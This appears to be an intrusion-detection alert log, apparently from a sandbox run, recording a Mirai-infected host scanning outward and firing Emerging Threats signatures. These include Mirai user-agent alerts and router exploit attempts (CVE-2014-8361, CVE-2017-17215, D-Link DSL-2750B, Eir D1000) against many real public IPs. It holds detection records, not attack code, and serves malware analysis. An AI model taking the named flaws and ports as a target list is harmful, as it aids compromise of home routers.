Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.101.17.191

Timestamp:	192.168.2.2395.101.17.19140598802027121 10/23/22-17:58:15.238586
SID:	2027121
Source Port:	40598
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 88.49.133.26

Timestamp:	192.168.2.2388.49.133.2656320802027121 10/23/22-17:57:49.411882
SID:	2027121
Source Port:	56320
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 88.198.103.37

Timestamp:	192.168.2.2388.198.103.3737196802027121 10/23/22-17:57:59.936405
SID:	2027121
Source Port:	37196
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 195.248.230.167

Timestamp:	192.168.2.23195.248.230.16747200802846457 10/23/22-17:58:10.247905
SID:	2846457
Source Port:	47200
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 178.238.111.24

Timestamp:	192.168.2.23178.238.111.2444668802846380 10/23/22-17:56:55.329778
SID:	2846380
Source Port:	44668
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 200.14.249.49

Timestamp:	192.168.2.23200.14.249.4941990802846380 10/23/22-17:57:30.763337
SID:	2846380
Source Port:	41990
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 178.168.169.68

Timestamp:	192.168.2.23178.168.169.6834968802846380 10/23/22-17:57:49.441257
SID:	2846380
Source Port:	34968
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 178.128.118.155

Timestamp:	192.168.2.23178.128.118.15559414802846380 10/23/22-17:58:13.284338
SID:	2846380
Source Port:	59414
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 169.63.9.19

Timestamp:	192.168.2.23169.63.9.1952010802846380 10/23/22-17:57:51.921388
SID:	2846380
Source Port:	52010
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 178.5.195.198

Timestamp:	192.168.2.23178.5.195.19849048802846380 10/23/22-17:58:27.265332
SID:	2846380
Source Port:	49048
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.179.138.114

Timestamp:	192.168.2.2395.179.138.11441822802027121 10/23/22-17:58:39.654913
SID:	2027121
Source Port:	41822
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 112.213.104.162

Timestamp:	192.168.2.23112.213.104.16254618802027121 10/23/22-17:56:58.145092
SID:	2027121
Source Port:	54618
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 46.17.90.209

Timestamp:	192.168.2.2346.17.90.20938618802846457 10/23/22-17:58:23.982381
SID:	2846457
Source Port:	38618
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 80.133.216.192

Timestamp:	192.168.2.2380.133.216.19254796802846457 10/23/22-17:57:09.746379
SID:	2846457
Source Port:	54796
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 200.69.83.25

Timestamp:	192.168.2.23200.69.83.2546712802846380 10/23/22-17:57:10.777301
SID:	2846380
Source Port:	46712
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 2.18.131.27

Timestamp:	192.168.2.232.18.131.2739184802846457 10/23/22-17:57:28.760820
SID:	2846457
Source Port:	39184
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 2.23.233.128

Timestamp:	192.168.2.232.23.233.12834330802846457 10/23/22-17:57:50.460824
SID:	2846457
Source Port:	34330
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 89.216.56.110

Timestamp:	192.168.2.2389.216.56.11039588802846457 10/23/22-17:58:32.885864
SID:	2846457
Source Port:	39588
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 206.210.193.120

Timestamp:	192.168.2.23206.210.193.12045094802846380 10/23/22-17:56:42.730580
SID:	2846380
Source Port:	45094
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 164.46.51.44

Timestamp:	192.168.2.23164.46.51.4450958802846457 10/23/22-17:57:22.519455
SID:	2846457
Source Port:	50958
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 206.53.53.125

Timestamp:	192.168.2.23206.53.53.12558760802846380 10/23/22-17:57:18.550207
SID:	2846380
Source Port:	58760
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 206.132.162.96

Timestamp:	192.168.2.23206.132.162.9647928802846380 10/23/22-17:57:29.591792
SID:	2846380
Source Port:	47928
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 213.176.77.166

Timestamp:	192.168.2.23213.176.77.16648620802846380 10/23/22-17:57:48.649938
SID:	2846380
Source Port:	48620
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 213.179.157.115

Timestamp:	192.168.2.23213.179.157.11535814802846380 10/23/22-17:56:49.742825
SID:	2846380
Source Port:	35814
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 195.245.94.2

Timestamp:	192.168.2.23195.245.94.248014802846457 10/23/22-17:56:59.497510
SID:	2846457
Source Port:	48014
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.211.124.232

Timestamp:	192.168.2.2395.211.124.23238618802027121 10/23/22-17:58:12.704449
SID:	2027121
Source Port:	38618
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 181.179.9.26

Timestamp:	192.168.2.23181.179.9.2658978802846380 10/23/22-17:57:11.050832
SID:	2846380
Source Port:	58978
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 54.246.138.241

Timestamp:	192.168.2.2354.246.138.24149212802841623 10/23/22-17:57:01.124424
SID:	2841623
Source Port:	49212
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.9.192.97

Timestamp:	192.168.2.2395.9.192.9736082802027121 10/23/22-17:57:18.779936
SID:	2027121
Source Port:	36082
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 - Outbound (metasploit version) - Source IP: 192.168.2.23 - Destination IP: 73.81.42.107

Timestamp:	192.168.2.2373.81.42.10756262802835221 10/23/22-17:57:07.567330
SID:	2835221
Source Port:	56262
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 5.62.37.241

Timestamp:	192.168.2.235.62.37.24154114528692027339 10/23/22-17:57:35.315658
SID:	2027339
Source Port:	54114
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 46.163.116.117

Timestamp:	192.168.2.2346.163.116.11733516802846457 10/23/22-17:58:05.437481
SID:	2846457
Source Port:	33516
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 195.77.90.71

Timestamp:	192.168.2.23195.77.90.7136918802846457 10/23/22-17:58:10.259964
SID:	2846457
Source Port:	36918
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 80.35.114.100

Timestamp:	192.168.2.2380.35.114.10035590802846380 10/23/22-17:58:39.170650
SID:	2846380
Source Port:	35590
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.57.247.185

Timestamp:	192.168.2.2395.57.247.18557314802027121 10/23/22-17:58:30.485137
SID:	2027121
Source Port:	57314
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 188.128.215.249

Timestamp:	192.168.2.23188.128.215.24939722802846457 10/23/22-17:58:20.013954
SID:	2846457
Source Port:	39722
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 85.17.71.172

Timestamp:	192.168.2.2385.17.71.17257648802846457 10/23/22-17:58:26.388542
SID:	2846457
Source Port:	57648
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 181.16.81.250

Timestamp:	192.168.2.23181.16.81.25056470802846380 10/23/22-17:58:01.159339
SID:	2846380
Source Port:	56470
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 178.253.43.8

Timestamp:	192.168.2.23178.253.43.841114802846380 10/23/22-17:56:49.749313
SID:	2846380
Source Port:	41114
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.104.78.167

Timestamp:	192.168.2.2395.104.78.16755758802027121 10/23/22-17:57:16.207806
SID:	2027121
Source Port:	55758
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 112.125.24.10

Timestamp:	192.168.2.23112.125.24.1042126802027121 10/23/22-17:56:41.451147
SID:	2027121
Source Port:	42126
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 112.126.102.9

Timestamp:	192.168.2.23112.126.102.936552802027121 10/23/22-17:57:13.597701
SID:	2027121
Source Port:	36552
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 89.41.36.66

Timestamp:	192.168.2.2389.41.36.6638442802846457 10/23/22-17:57:55.937842
SID:	2846457
Source Port:	38442
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 156.229.211.229

Timestamp:	192.168.2.23156.229.211.22939640802841623 10/23/22-17:57:28.747625
SID:	2841623
Source Port:	39640
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.21.51.12

Timestamp:	192.168.2.2395.21.51.1237278802027121 10/23/22-17:57:54.640088
SID:	2027121
Source Port:	37278
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 2.22.209.127

Timestamp:	192.168.2.232.22.209.12749412802846457 10/23/22-17:57:28.764796
SID:	2846457
Source Port:	49412
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 89.34.101.125

Timestamp:	192.168.2.2389.34.101.12544730528692027339 10/23/22-17:58:32.637804
SID:	2027339
Source Port:	44730
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.216.190.37

Timestamp:	192.168.2.2395.216.190.3735464802027121 10/23/22-17:57:40.690837
SID:	2027121
Source Port:	35464
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 76.189.158.12

Timestamp:	192.168.2.2376.189.158.124318475472835222 10/23/22-17:56:43.260935
SID:	2835222
Source Port:	43184
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 88.214.236.159

Timestamp:	192.168.2.2388.214.236.15950970802027121 10/23/22-17:58:09.669602
SID:	2027121
Source Port:	50970
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.254.33.213

Timestamp:	192.168.2.23156.254.33.21347714372152835222 10/23/22-17:57:33.283503
SID:	2835222
Source Port:	47714
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 80.97.209.155

Timestamp:	192.168.2.2380.97.209.15542736802846457 10/23/22-17:56:52.724553
SID:	2846457
Source Port:	42736
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.110.132.224

Timestamp:	192.168.2.2395.110.132.22442506802027121 10/23/22-17:58:17.323566
SID:	2027121
Source Port:	42506
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 5.129.79.151

Timestamp:	192.168.2.235.129.79.15141336802846457 10/23/22-17:57:02.981519
SID:	2846457
Source Port:	41336
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 213.122.235.220

Timestamp:	192.168.2.23213.122.235.22055728802846380 10/23/22-17:57:37.879771
SID:	2846380
Source Port:	55728
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.47.161.54

Timestamp:	192.168.2.2395.47.161.5443576802027121 10/23/22-17:57:40.726655
SID:	2027121
Source Port:	43576
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.110.146.155

Timestamp:	192.168.2.2395.110.146.15549046802027121 10/23/22-17:57:13.006374
SID:	2027121
Source Port:	49046
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 86.120.46.32

Timestamp:	192.168.2.2386.120.46.3241330802846380 10/23/22-17:57:46.317663
SID:	2846380
Source Port:	41330
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 61.223.228.19

Timestamp:	192.168.2.2361.223.228.1947372802846457 10/23/22-17:57:02.974325
SID:	2846457
Source Port:	47372
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 88.221.123.42

Timestamp:	192.168.2.2388.221.123.4240218802027121 10/23/22-17:57:05.124614
SID:	2027121
Source Port:	40218
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 72.175.60.25

Timestamp:	192.168.2.2372.175.60.255497075472023548 10/23/22-17:58:01.495700
SID:	2023548
Source Port:	54970
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.86.81.230

Timestamp:	192.168.2.2395.86.81.23039304802027121 10/23/22-17:57:40.754801
SID:	2027121
Source Port:	39304
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.195.113.216

Timestamp:	192.168.2.2395.195.113.21636696802027121 10/23/22-17:58:36.715213
SID:	2027121
Source Port:	36696
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.86.86.129

Timestamp:	192.168.2.2395.86.86.12932892802027121 10/23/22-17:57:21.071511
SID:	2027121
Source Port:	32892
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 88.221.190.7

Timestamp:	192.168.2.2388.221.190.755442802027121 10/23/22-17:58:35.001203
SID:	2027121
Source Port:	55442
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 84.19.173.164

Timestamp:	192.168.2.2384.19.173.16452130802841623 10/23/22-17:58:35.828320
SID:	2841623
Source Port:	52130
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 61.157.227.32

Timestamp:	192.168.2.2361.157.227.3253898802846457 10/23/22-17:57:51.829174
SID:	2846457
Source Port:	53898
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 85.175.227.115

Timestamp:	192.168.2.2385.175.227.11533898802846457 10/23/22-17:57:58.585196
SID:	2846457
Source Port:	33898
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 112.185.198.78

Timestamp:	192.168.2.23112.185.198.7835882802027121 10/23/22-17:57:16.120365
SID:	2027121
Source Port:	35882
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.68.60.31

Timestamp:	192.168.2.2395.68.60.3144362802027121 10/23/22-17:57:33.458947
SID:	2027121
Source Port:	44362
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 156.93.225.163

Timestamp:	192.168.2.23156.93.225.1635137080802841623 10/23/22-17:57:35.398558
SID:	2841623
Source Port:	51370
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 88.110.80.78

Timestamp:	192.168.2.2388.110.80.7851942802027121 10/23/22-17:58:05.258423
SID:	2027121
Source Port:	51942
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.101.60.174

Timestamp:	192.168.2.2395.101.60.17445282802027121 10/23/22-17:57:25.949040
SID:	2027121
Source Port:	45282
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 5.226.55.118

Timestamp:	192.168.2.235.226.55.11847426802846457 10/23/22-17:57:35.571414
SID:	2846457
Source Port:	47426
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 86.63.13.7

Timestamp:	192.168.2.2386.63.13.745496802841623 10/23/22-17:58:07.360550
SID:	2841623
Source Port:	45496
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 43.201.77.221

Timestamp:	192.168.2.2343.201.77.22151390802835222 10/23/22-17:57:40.767021
SID:	2835222
Source Port:	51390
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 5.149.76.192

Timestamp:	192.168.2.235.149.76.19236388802846457 10/23/22-17:57:53.339207
SID:	2846457
Source Port:	36388
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 89.144.28.112

Timestamp:	192.168.2.2389.144.28.11238098802846457 10/23/22-17:57:07.073238
SID:	2846457
Source Port:	38098
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 74.43.220.21

Timestamp:	192.168.2.2374.43.220.2147056802841623 10/23/22-17:58:29.395457
SID:	2841623
Source Port:	47056
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 88.116.21.102

Timestamp:	192.168.2.2388.116.21.10252816802027121 10/23/22-17:58:02.095305
SID:	2027121
Source Port:	52816
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.213.249.170

Timestamp:	192.168.2.2395.213.249.17045378802027121 10/23/22-17:58:12.741202
SID:	2027121
Source Port:	45378
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.67.7.53

Timestamp:	192.168.2.2395.67.7.5337986802027121 10/23/22-17:56:46.636448
SID:	2027121
Source Port:	37986
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 5.105.57.202

Timestamp:	192.168.2.235.105.57.20258076802846457 10/23/22-17:57:08.378861
SID:	2846457
Source Port:	58076
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 85.128.243.46

Timestamp:	192.168.2.2385.128.243.4659808802846457 10/23/22-17:58:17.750753
SID:	2846457
Source Port:	59808
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 85.214.109.39

Timestamp:	192.168.2.2385.214.109.3938846802846457 10/23/22-17:57:41.196003
SID:	2846457
Source Port:	38846
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 34.76.74.104

Timestamp:	192.168.2.2334.76.74.10445154802841623 10/23/22-17:56:47.921557
SID:	2841623
Source Port:	45154
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 85.13.150.203

Timestamp:	192.168.2.2385.13.150.20337756802846457 10/23/22-17:57:00.159868
SID:	2846457
Source Port:	37756
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 206.225.84.8

Timestamp:	192.168.2.23206.225.84.859490802846380 10/23/22-17:56:42.702800
SID:	2846380
Source Port:	59490
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 88.208.9.194

Timestamp:	192.168.2.2388.208.9.19442766802027121 10/23/22-17:58:05.157441
SID:	2027121
Source Port:	42766
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 2.21.197.242

Timestamp:	192.168.2.232.21.197.24232876802846457 10/23/22-17:57:28.770787
SID:	2846457
Source Port:	32876
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 - Outbound (metasploit version) - Source IP: 192.168.2.23 - Destination IP: 49.12.56.70

Timestamp:	192.168.2.2349.12.56.7033412802835221 10/23/22-17:57:28.381541
SID:	2835221
Source Port:	33412
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 78.47.192.103

Timestamp:	192.168.2.2378.47.192.10360316802846457 10/23/22-17:58:04.228008
SID:	2846457
Source Port:	60316
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 85.215.90.128

Timestamp:	192.168.2.2385.215.90.12850370802846457 10/23/22-17:58:26.393408
SID:	2846457
